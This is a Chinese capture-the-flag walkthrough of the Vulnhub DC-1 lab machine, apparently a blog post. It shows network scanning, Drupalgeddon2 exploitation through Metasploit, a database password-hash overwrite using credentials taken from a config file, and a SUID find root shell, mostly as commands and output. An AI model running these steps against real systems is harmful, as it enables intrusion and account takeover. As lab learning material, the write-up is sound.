0x00 环境准备

本文介绍了Vulnhub中DC-1靶机的实战渗透过程,实战的目标是获取到服务器中的5个flag,最终目标是获取到root目录下的thefinalflag文件:

测试环境 备注
Kali IP:192.168.100.100
DC-1 下载地址:https://www.vulnhub.com/entry/dc-1-1,292/

下载后解压,双击DC-1.vmx即可使用VMware开启靶机,开启后确保Kali和DC-1的网卡设置都为NAT模式。

0x01 信息收集

目标发现:

Ⅰ 使用arp-scan进行内网扫描:

┌──(rootkali)-[/home/kali]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:94:72:37, IPv4: 192.168.100.100
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.100.1 00:50:56:c0:00:08 VMware, Inc.
192.168.100.2 00:50:56:f9:e9:2f VMware, Inc.
192.168.100.134 00:0c:29:d3:d1:4f VMware, Inc.
192.168.100.254 00:50:56:e2:96:e6 VMware, Inc. 4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.933 seconds (132.44 hosts/sec). 4 responded

发现目标:192.168.100.134

Ⅱ 使用nmap进行内网扫描:

┌──(rootkali)-[/home/kali]
└─# nmap -sP 192.168.100.100/24
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-26 10:22 CST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.100.1
Host is up (0.00024s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.100.2
Host is up (0.00038s latency).
MAC Address: 00:50:56:F9:E9:2F (VMware)
Nmap scan report for 192.168.100.134
Host is up (0.00022s latency).
MAC Address: 00:0C:29:D3:D1:4F (VMware)
Nmap scan report for 192.168.100.254
Host is up (0.00037s latency).
MAC Address: 00:50:56:E2:96:E6 (VMware)
Nmap scan report for 192.168.100.100
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.08 seconds

Ⅲ 使用masscan进行内网扫描:

┌──(rootkali)-[/home/kali]
└─# masscan --ping 192.168.100.100/24
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2022-01-26 02:30:00 GMT
Initiating ICMP Echo Scan
Scanning 256 hosts
Discovered open port 0/icmp on 192.168.100.134
Discovered open port 0/icmp on 192.168.100.2

发现目标后进行进一步的信息获取:

使用masscan对目标192.168.100.134进行端口扫描:

┌──(rootkali)-[/home/kali]
└─# masscan 192.168.100.134 -p0-65535 --rate=10000
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2022-01-26 02:34:40 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 80/tcp on 192.168.100.134
Discovered open port 111/tcp on 192.168.100.134
Discovered open port 44077/tcp on 192.168.100.134

使用nmap对开放的端口进行更详细的端口信息扫描:

┌──(rootkali)-[/home/kali]
└─# nmap -p 80,111,44077 -A 192.168.100.134

通过nmap的扫描发现其80端口开放着Drupal 7的HTTP服务,111端口是rpcbind服务

0x02 通过MSF获取flag1

通过百度搜索Drupal 7可以查询到Drupal 7.x 存在代码执行漏洞,漏洞编号为CVE-2018-7600 ,在kali输入msfconsole进入MSF控制台,通过search命令查找CVE-2018-7600 的漏洞信息:

在控制台输入use exploit/unix/webapp/drupal_drupalgeddon2使用该模块,通过show options查看需要设置的参数:

此处只需设置rhosts为DC-1即可:set rhost 192.168.100.134,设置完成后使用exploit对靶机进行攻击,成功连接到DC靶机并发现flag1:

使用cat命令读取flag1.txt的内容发现flag2的线索:

0x03 查找配置文件发现flag2

通过对站点目录进行查找,在/var/www/sites/default目录发现settings.php配置文件,从配置文件中获取到两条关于flag3的重要信息:

0x04 重置数据库密码得到flag3

Drupal数据库中存储的密码散列由自带的password-hash.sh生成,进入脚本目录/var/www/使用php ./scripts/password-hash.sh admin生成密码为admin的散列,在此之前需要生成DC-1的交互shell:

meterpreter > shell
python -c "import pty;pty.spawn('/bin/bash')"

生成密码散列:

www-data@DC-1:/var/www$ php ./scripts/password-hash.sh admin
php ./scripts/password-hash.sh admin password: admin hash: $S$D9/JDc1I/3gkUftK3oHmHkkPHvYS4.UUIr7oXKgC6LPyGW13OOJY

通过之前获取到的数据库账号密码进入数据库,通过查询得知用户的信息存储在drupaldb数据库里的users表中,密码的字段为pass:

mysql -udbuser -pR0ck3t
mysql> use drupaldb;
use drupaldb;
Database changed
mysql> select uid,name,pass from users;
select uid,name,pass from users;
+-----+-------+---------------------------------------------------------+
| uid | name | pass |
+-----+-------+---------------------------------------------------------+
| 0 | | |
| 1 | admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR |
| 2 | Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg |
| 3 | user | $S$DS3sDdTXVdMk68Xca2Dfcup7ciXU/wWQQhSHydK5bw0uivVh5ejb |
+-----+-------+---------------------------------------------------------+
4 rows in set (0.00 sec)

更新admin的密码字段:

update users set pass="$S$D9/JDc1I/3gkUftK3oHmHkkPHvYS4.UUIr7oXKgC6LPyGW13OOJY" where name="admin";

浏览器端访问DC-1的Web服务,使用admin/admin直接登录,点击Dashboard得到flag3:

获得flag4 ,thefinalflag的线索:

0x05 使用find命令查找取得flag4

在shell中输入find / -name "flag*"搜索flag文件:

www-data@DC-1:/var/www$ find / -name "flag*"
find / -name "flag*"
/home/flag4
/home/flag4/flag4.txt
/var/www/flag1.txt
/usr/src/linux-headers-3.2.0-6-686-pae/include/config/zone/dma/flag.h
/usr/share/doc/tk8.5/examples/images/flagdown.xbm
/usr/share/doc/tk8.5/examples/images/flagup.xbm
/usr/include/X11/bitmaps/flagdown
/usr/include/X11/bitmaps/flagup
/usr/lib/gcc-4.9-backport/lib/gcc/i486-linux-gnu/4.9/plugin/include/flags.h
/usr/lib/gcc-4.9-backport/lib/gcc/i486-linux-gnu/4.9/plugin/include/flag-types.h
/usr/lib/perl/5.14.2/auto/POSIX/SigAction/flags.al
/sys/devices/virtual/net/lo/flags
/sys/devices/pci0000:00/0000:00:11.0/0000:02:01.0/net/eth0/flags

读取/home/flag4/flag4.txt获得thefinalflag的线索:

0x06 SUID提权获取thefinalflag

suid可以让调用者以文件拥有者的身份运行该文件,运行root用户所拥有的suid的文件,那么运行该文件的时候就是root用户的身份。常用的suid提权指令:

nmap vim find bash more less nano cp

下列命令可以查找在系统上运行的所有suid可执行文件:

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

在DC-1的shell查找suid可执行文件:

www-data@DC-1:/var/www$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/bin/mount
/bin/ping
/bin/su
/bin/ping6
/bin/umount
/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/find
/usr/sbin/exim4
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/sbin/mount.nfs

/usr/bin/findfind命令具有suid权限,提权得到root权限并获取到thefinalflag:

find / -exec "/bin/sh" \;

Vulnhub DC-1靶场学习笔记的更多相关文章

  1. react-native学习笔记--史上最详细Windows版本搭建安装React Native环境配置

    参考:http://www.lcode.org/react-native/ React native中文网:http://reactnative.cn/docs/0.23/android-setup. ...

  2. Oracle学习笔记三 SQL命令

    SQL简介 SQL 支持下列类别的命令: 1.数据定义语言(DDL) 2.数据操纵语言(DML) 3.事务控制语言(TCL) 4.数据控制语言(DCL)  

  3. STM32学习笔记——OLED屏

    STM32学习笔记--OLED屏 OLED屏的特点: 1.  模块有单色和双色可选,单色为纯蓝色,双色为黄蓝双色(本人选用双色): 2.  显示尺寸为0.96寸 3.  分辨率为128*64 4.   ...

  4. VSTO学习笔记(四)从SharePoint 2010中下载文件

    原文:VSTO学习笔记(四)从SharePoint 2010中下载文件 上一次我们开发了一个简单的64位COM加载项,虽然功能很简单,但是包括了开发一个64位COM加载项的大部分过程.本次我们来给CO ...

  5. Asp.net core 2.0.1 Razor 的使用学习笔记(五)

    按说这里应该写关于Role角色类的笔记,但是我还没时间实验这块,所以等以后我搞定了再来分享.现在先写其他部分. Asp.net core 2.0.1 Razor 的使用学习笔记——建立模型 按照微软官 ...

  6. ARMV8 datasheet学习笔记3:AArch64应用级体系结构

    1.前言 本文主要从应用的角度介绍ARMV8的编程模型和存储模型 2. AArch64应用级编程模型 从应用的角度看到的ARM处理器元素: 可见的元素(寄存器/指令) 说明 可见的寄存器 R0-R30 ...

  7. 学习笔记(一)--->《Java 8编程官方参考教程(第9版).pdf》:第一章到六章学习笔记

    注:本文声明事项. 本博文整理者:刘军 本博文出自于: <Java8 编程官方参考教程>一书 声明:1:转载请标注出处.本文不得作为商业活动.违者本人不负法律责任.违法者自负一切法律责任. ...

  8. 【整理】HTML5游戏开发学习笔记(5)- 猜谜游戏

    距上次学习笔记已有一个多月过去了,期间由于新项目赶进度,以致该学习计划给打断,十分惭愧.书本中的第六章的例子相对比较简单.所以很快就完成. 1.预备知识html5中video标签的熟悉 2.实现思路对 ...

  9. 23 DesignPatterns学习笔记:C++语言实现 --- 1.2 AbstractFactory

    23 DesignPatterns学习笔记:C++语言实现 --- 1.2 AbstractFactory 2016-07-21 (www.cnblogs.com/icmzn) 模式理解  

随机推荐

  1. 【LeetCode】990. Satisfiability of Equality Equations 解题报告(C++ & python)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 DFS 并查集 日期 题目地址:https://le ...

  2. 【LeetCode】867. Transpose Matrix 解题报告(Python)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 先构建数组再遍历实现翻转 日期 题目地址:https ...

  3. 湫湫系列故事——消灭兔子(hdu4544)

    湫湫系列故事--消灭兔子 Time Limit: 3000/1000 MS (Java/Others)    Memory Limit: 65535/32768 K (Java/Others)Tota ...

  4. 【因果推断经典论文】Direct and Indirect Effects - Judea Pearl

    Direct and Indirect Effects Author: Judea Pearl UAI 2001 加州大学洛杉矶分校 论文链接:https://dl.acm.org/doi/pdf/1 ...

  5. Mind the Box: $\ell_1$-APGD for Sparse Adversarial Attacks on Image Classifiers

    目录 概 主要内容 Croce F. and Hein M. Mind the box: \(\ell_1\)-APGD for sparse adversarial attacks on image ...

  6. Adversarial Training with Rectified Rejection

    目录 概 主要内容 rejection 实际使用 代码 Pang T., Zhang H., He D., Dong Y., Su H., Chen W., Zhu J., Liu T. Advers ...

  7. EntityFrameworkCore数据迁移(二)

    接上一篇 EntityFrameworkCore数据迁移(一) 其实上一篇该写的都已经写完了,但是后来又想到两个问题,想了想还是也写出来吧 问题一 上一篇介绍的迁移过程,都是通过在程序包管理器控制台使 ...

  8. .net core在linux下图片中文乱码

    不得不吐槽一下,.net core 2.2的System.Drawing在linux有很多坑,又是依赖libgdiplus,又是依赖gdiplus,依赖解决了又来了个中文乱码,怎的一声哀叹 这里做个笔 ...

  9. YCSB_对mongodb做性能测试

    1.YCSB介绍 YCSB,全称为"Yahoo!Cloud Serving Benchmark",是雅虎开发的用来对云服务进行基础测试的工具,其内部涵盖了常见的NoSQL数据库产品 ...

  10. Linux_grep命令

    搜索内容 命令格式如下 grep 参数 "搜索的内容" 搜索路径 注:搜索路径可缺省,缺省时,默认搜索当前目录以及其子目录下所有文件 显示文件名+内容: grep -r " ...